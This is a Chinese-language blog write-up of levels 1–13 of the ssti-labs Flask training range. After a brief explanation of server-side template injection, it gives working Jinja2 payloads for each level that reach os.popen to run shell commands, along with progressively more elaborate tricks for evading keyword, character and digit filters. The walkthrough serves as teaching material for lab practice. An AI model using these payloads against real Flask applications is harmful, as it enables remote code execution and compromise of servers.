DHCP
DHCP
Published on 2024-04-12 / 211 Visits
3
0

ssti-labs Flask框架靶场通关记录 1-13

ssti-labs Flask框架靶场通关记录 1-13

什么是ssti

SSTI,即服务器端模板注入(Server-Side Template Injection),是一种特定的安全漏洞。其原理和特点主要包括以下几点:
模板引擎机制:模板引擎的作用是将动态数据与静态模板结合生成最终的输出内容。它们通过替换指定的标签或执行某些代码片段来实现这一过程。
用户输入处理:当构建这些模板时,如果服务端未对用户输入进行正确的过滤和转义,恶意用户可能会插入一些特殊的代码片段。这些代码片段在模板引擎渲染过程中被执行,可能导致不安全的代码或命令被执行。
注入的本质:就像SQL注入允许攻击者通过构造特殊的输入来干预数据库查询一样,SSTI允许攻击者干预模板渲染的过程。这可以导致敏感信息泄露、远程代码执行等严重后果。
沙箱逃逸:为了防范这类漏洞,许多模板引擎提供了沙箱机制,限制了可以执行的操作。然而,存在一些技术可以绕过这些沙箱保护,从而使得攻击者能够执行更加危险的操作。
综上所述,SSTI的原理是利用模板引擎在处理用户输入时的不严谨性,通过注入恶意代码到模板中,然后在服务端渲染模板的过程中执行这些代码,从而达到攻击的目的。

漏洞测试图

靶场地址

靶场详情

第一关:


我们测试一下

发现被闭合的内容执行了,因为是第一关,没有任何过滤,所以我们直接看内置类
{{[].__class__.__base__.__subclasses__()}}

我们想要使用“popen”方法来命令执行,那么我们就要找到“os._wrap_close”

找到了,是第127
那么我们就可以使用第127来命令执行了
{{[].__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('ls /').read()}}

直接读flag

2

当然也可以这样:
{{config.__class__.__init__.__globals__['os'].popen("cat flag").read()}}

3

还可以使用get_flashed_messages
{{get_flashed_messages.globals}}获取全局信息
比如:{{get_flashed_messages.__globals__['os'].popen('cat flag').read()}}

4

lipsum为 flask框架 内置函数 通用
{{lipsum.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}
``

第二关

第二关过滤了{{那么{{}}这一种写法不能用了,那么我们可以通过使用{%print %}来代替
{%print config.__class__.__init__.__globals__['os'].popen("cat flag").read()%}

第三关

我们进入第三关发现我们输入的内容是没有任何回显的,但是没有waf,所以我们可以直接将我们读取的flag写到我们可以访问的文件夹中
{{config.__class__.__init__.__globals__['os'].popen("echo cat flag > static/js/1.txt").read()}}
访问文件static/js/1.txt

第四关

第四关过滤了[]
所以我们不能再使用[os]来调用popen了但是字典来调用值可不止有[]

所以我们可以使用{{config.__class__.__init__.__globals__.__getitem__('os').popen("cat flag").read()}}

第五关

第五关过滤'"
我们可以通过抓包发现,我们再传参的过程中其实是传入了post的code变量中
所以我们可以使用一种特别的方式,通过attr来获得request.values.a传入的参数值,而后面的a就是get传参的变量名。
GET传入:?a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat flag
POST传入:code={{(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(127)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()}}
得到flag

第六关

第六关过滤了_但是我们仍然可以使用第五关的方法GET传入:?a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat flag
POST传入:code={{(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(127)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()}}

还有一种方式可以编码绕过 python解析器支持 hex ,unicode编码 (不建议用base64仅python2支持)
将所有的_全部替换成\x5f
{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[127]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('cat flag')['read']()}}

第七关

第七关过滤了.,我们可以使用[]来代替.
{{''['__class__']['__base__']['__subclasses__']()[127]['__init__']['__globals__']['popen']('cat flag')['read']()}}

第八关

第八关过滤了一大函数["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]
但是我们可以通过拼接绕过{{''['__cla''ss__']['__ba''se__']['__subc''lasses__']()[127]['__in''it__']['__glo''bals__']['po''pen']('cat flag')['read']()}}

第九关

第九关过滤了从0到9的数字
但仍不妨碍我们使用{{config.__class__.__init__.__globals__.__getitem__('os').popen("cat flag").read()}}

第十关

第十关将变量 config 设置为 None那么我们用不了config了
但是仍不妨碍我们使用获得全局变量的config,构建的payload
{{url_for.__globals__['current_app'].config}}
读取flag
{{url_for.__globals__['current_app'].config.__class__.__init__.__globals__.__getitem__('os').popen("cat flag").read()}}

第十一关

第十一关过滤了好的内容['\'', '"', '+', 'request', '.', '[', ']']
这里我们就可以使用{%set %}来进行拼接
最后要拼接成{{config.__class__.__init__.__globals__.__getitem__('os').popen("cat flag").read()}}

__class__
{%set a=dict(__cla=a,ss__=a)|join%} 
__init__
{%set b=dict(__in=a,it__=a)|join%}
__globals__
{%set c=dict(__glo=a,bals__=a)|join%}
__getitem__
{%set d=dict(__ge=a,titem__=a)|join%}
popen
{%set e=dict(po=a,pen=a)|join%}
read
{%set f=dict(re=a,ad=a)|join%}
os
{%set os=dict(o=a,s=a)|join%}
ls
{%set ls=dict(l=a,s=a)|join%}
合成:
{{config|attr(a)|attr(b)|attr(c)|attr(d)(os)|attr(e)(ls)|attr(f)()}}

payload:

{%set a=dict(__cla=a,ss__=a)|join%} 
{%set b=dict(__in=a,it__=a)|join%}
{%set c=dict(__glo=a,bals__=a)|join%}
{%set d=dict(__ge=a,titem__=a)|join%}
{%set e=dict(po=a,pen=a)|join%}
{%set f=dict(re=a,ad=a)|join%}
{%set os=dict(o=a,s=a)|join%}
{%set ls=dict(l=a,s=a)|join%}
{{config|attr(a)|attr(b)|attr(c)|attr(d)(os)|attr(e)(ls)|attr(f)()}}


但是我们现在还是读不了flag 因为cat和flag中间有空格我们无法拼成cat flag
['__builtins__']['chr']函数 用ascii表 转换为字符
原payload:{{lipsum.__globals__['__builtins__']['chr']}} 32 为空格 47为斜杠
在原来的基础上增加一下内容

{%set chr=dict(ch=a,r=a)|join%}
{%set g=dict(__buil=a,tins__=a)|join%}
{%set chh=lipsum|attr(c)|attr(d)(g)|attr(d)(chr)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),dict(fl=a,ag=a)|join)|join%}

最终payload:

{%set a=dict(__cla=a,ss__=a)|join%} 
{%set b=dict(__in=a,it__=a)|join%}
{%set c=dict(__glo=a,bals__=a)|join%}
{%set d=dict(__ge=a,titem__=a)|join%}
{%set e=dict(po=a,pen=a)|join%}
{%set f=dict(re=a,ad=a)|join%}
{%set os=dict(o=a,s=a)|join%}
{%set chr=dict(ch=a,r=a)|join%}
{%set g=dict(__buil=a,tins__=a)|join%}
{%set chh=lipsum|attr(c)|attr(d)(g)|attr(d)(chr)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),dict(fl=a,ag=a)|join)|join%}
{{config|attr(a)|attr(b)|attr(c)|attr(d)(os)|attr(e)(cmd)|attr(f)()}}

第十二关

第十二题过滤的内容为['_', '.', '0-9', '\\', '\'', '"', '[', ']']
相比于第十一题相当于多过滤了_和数字
那么我们可以通过一下内容绕过下划线和数字
{%set numa=dict(DHCPDHCPDHCPDHCPDHCPDHCP=b)|join|count%} {%set p=dict(po=a,p=a)|join%} {{()|select|string|list|attr(p)(numa)}}

{{ dict(DHCPDHCPDHCPDHCPDHCPDHCPDHCPDHCP=a)|join|count}}
payload:

{%set numa=dict(DHCPDHCPDHCPDHCPDHCPDHCP=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set x=()|select|string|list|attr(p)(numa)%}
{%set a=(x,x,dict(cla=a,ss=a)|join,x,x)|join%} 
{%set b=(x,x,dict(in=a,it=a)|join,x,x)|join%} 
{%set c=(x,x,dict(glo=a,bals=a)|join,x,x)|join%} 
{%set d=(x,x,dict(ge=a,titem=a)|join,x,x)|join%} 
{%set e=dict(po=a,pen=a)|join%}
{%set f=dict(re=a,ad=a)|join%}
{%set os=dict(o=a,s=a)|join%}
{%set chr=dict(ch=a,r=a)|join%}
{%set g=(x,x,dict(buil=a,tins=a)|join,x,x)|join%} 
{%set chh=lipsum|attr(c)|attr(d)(g)|attr(d)(chr)%}
{%set sz=dict(DHCPDHCPDHCPDHCPDHCPDHCPDHCPDHCP=a)|join|count%}
{%set cmd=(dict(ca=a,t=a)|join,chh(sz),dict(fl=a,ag=a)|join)|join%}
{{config|attr(a)|attr(b)|attr(c)|attr(d)(os)|attr(e)(cmd)|attr(f)()}}

第十三关

第十三题过滤的内容:['_', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']
发现过滤的更多了,还过滤了config,那么我们可以使用lipsum
像这样:

{%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(__ge=a,titem__=a)|join%}
{%set c=dict(__buil=a,tins__=a)|join%}
{%set d=dict(__imp=a,ort__=a)|join%}
{%set e=dict(po=a,pen=a)|join%}
{%set os=dict(o=a,s=a)|join%}
{%set ls=dict(l=a,s=a)|join%}
{%set du=dict(re=a,ad=a)|join%}
{{lipsum|attr(a)|attr(b)(c)|attr(b)(d)(os)|attr(e)(ls)|attr(du)()}}
以上构造内容为:
{{lipsum.__globals__.__getitem__('__builtins__').__import__('os').popen('ls').read()}}}}

将上一题的payload改一下使用:
payload:

{%set numa=dict(DHCPDHCPDHCPDHCPDHCPDHCP=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set x=()|select|string|list|attr(p)(numa)%}
{%set a=(x,x,dict(glo=a,bals=a)|join,x,x)|join%} 
{%set b=(x,x,dict(ge=a,titem=a)|join,x,x)|join%} 
{%set c=(x,x,dict(buil=a,tins=a)|join,x,x)|join%} 
{%set d=(x,x,dict(imp=a,ort=a)|join,x,x)|join%} 
{%set e=dict(po=a,pen=a)|join%}
{%set os=dict(o=a,s=a)|join%}
{%set ls=dict(l=a,s=a)|join%}
{%set du=dict(re=a,ad=a)|join%}
{%set chr=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(b)(c)|attr(b)(chr)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(b)(c)|attr(b)(d)(os)|attr(e)(cmd)|attr(du)()}}


Comment